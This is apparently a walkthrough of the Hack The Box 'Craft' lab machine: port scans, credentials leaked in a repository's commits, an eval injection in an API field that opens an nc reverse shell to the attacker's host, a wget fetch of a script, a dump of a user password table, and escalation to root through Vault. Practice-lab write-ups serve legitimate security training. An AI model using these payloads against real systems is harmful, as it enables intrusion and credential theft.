Initial foothold is established through a very common developer mistake: code repository contains a set of credentials inadvertently included in one of the commits.
Perform a port scan using nmap:
# nmap -sS -Pn -A 10.10.10.110 > nmap_craft.txt
root@kali:~/projects/Craft# more nmap_craft.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 19:21 EST
Nmap scan report for 10.10.10.110
Host is up (0.032s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/22%OT=22%CT=1%CU=34998%PV=Y%DS=2%DC=T%G=Y%TM=5E0008
OS:B6%P=x86_64-pc-linux-gnu)SEQ(TI=Z%CI=Z%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10
OS:E%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%
OS:O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4
OS:=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R
OS:=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 22.45 ms 10.10.14.1
2 22.60 ms 10.10.10.110
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.62 seconds
Discover the higher port
root@kali:~/projects/Craft# nmap -p0-65535 10.10.10.110 -T5
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 19:41 EST
Warning: 10.10.10.110 giving up on port because retransmission cap hit (2).
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.023s latency).
Not shown: 64426 closed ports, 1107 filtered ports
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6022/tcp open x11
Nmap done: 1 IP address (1 host up) scanned in 87.62 seconds
Add URLs to /etc/hosts
Now it’s possible to browse to browse to
Browsing commit history we discover a set of credentials
u: dinesh
p: 4aUh0A8PbVJxgd
Authenticate with given credentials and obtain a token
# curl -k -X GET "https://api.craft.htb/api/auth/login" -H "accept: application/json" -udinesh
Enter host password for user 'dinesh':
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc4MDAxNjcwfQ.2xqZcmUe45Con2HMs1BfbJV7wUjq9wHs9qCcxE2IubQ"}
check token validity
# curl -X GET -k "https://api.craft.htb/api/auth/check" -H "accept: application/json" -H 'X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc4MDAxNjcwfQ.2xqZcmUe45Con2HMs1BfbJV7wUjq9wHs9qCcxE2IubQ'
{"message":"Token is valid!"}
Start a remote shell
Edit script test.py, adding an exploit of the eval function found in ..
https://gogs.craft.htb/Craft/craft-api/src/master/tests/test.py
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
#brew_dict['abv'] = '15.0'
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.226 8888 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
Now you are connected.
Developers are nice enough to leave us a DB connection script.
Editing on the remote host is difficult. Much easier if we edit locally, spawn a web server and fetch the file from the remote server
python -m SimpleHTTPServer 8889
# wget 10.10.15.226:8889/dbtest2.py
Execute script and retrieve available passwords from table users
# python dbtest2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
Log in as user ebachman and discover set of keys for gilfoyle in private repo gilfoyle /craft-infra/.ssh
# ssh -i id_rsa gilfoyle@10.10.10.110
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 2 19:59:23 2020 from 10.10.14.255
gilfoyle@craft:~$
Retrieve user flag
gilfoyle@craft:~$ cat user.txt bbf4b0cadfa3d4e6d0914c9cd5a612d4
Generate a onetime password and use it to connect and get the root flag
$ vault write ssh/creds/root_otp ip=10.10.10.110
Key Value
--- -----
lease_id ssh/creds/root_otp/0b63f44a-ce56-e720-f1b5-a06d0d2172a9
lease_duration 768h
lease_renewable false
ip 10.10.10.110
key 4648452e-acfd-ec7c-69d6-b38b5995ae23
key_type otp
port 22
username root
root@kali:~/projects# ssh root@10.10.10.110
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~#
root@craft:~#
root@craft:~#
root@craft:~# ls -ltr
total 4
-r-------- 1 root root 33 Feb 9 2019 root.txt
root@craft:~# more root.txt
831d64ef54d92c1af795daae28a11591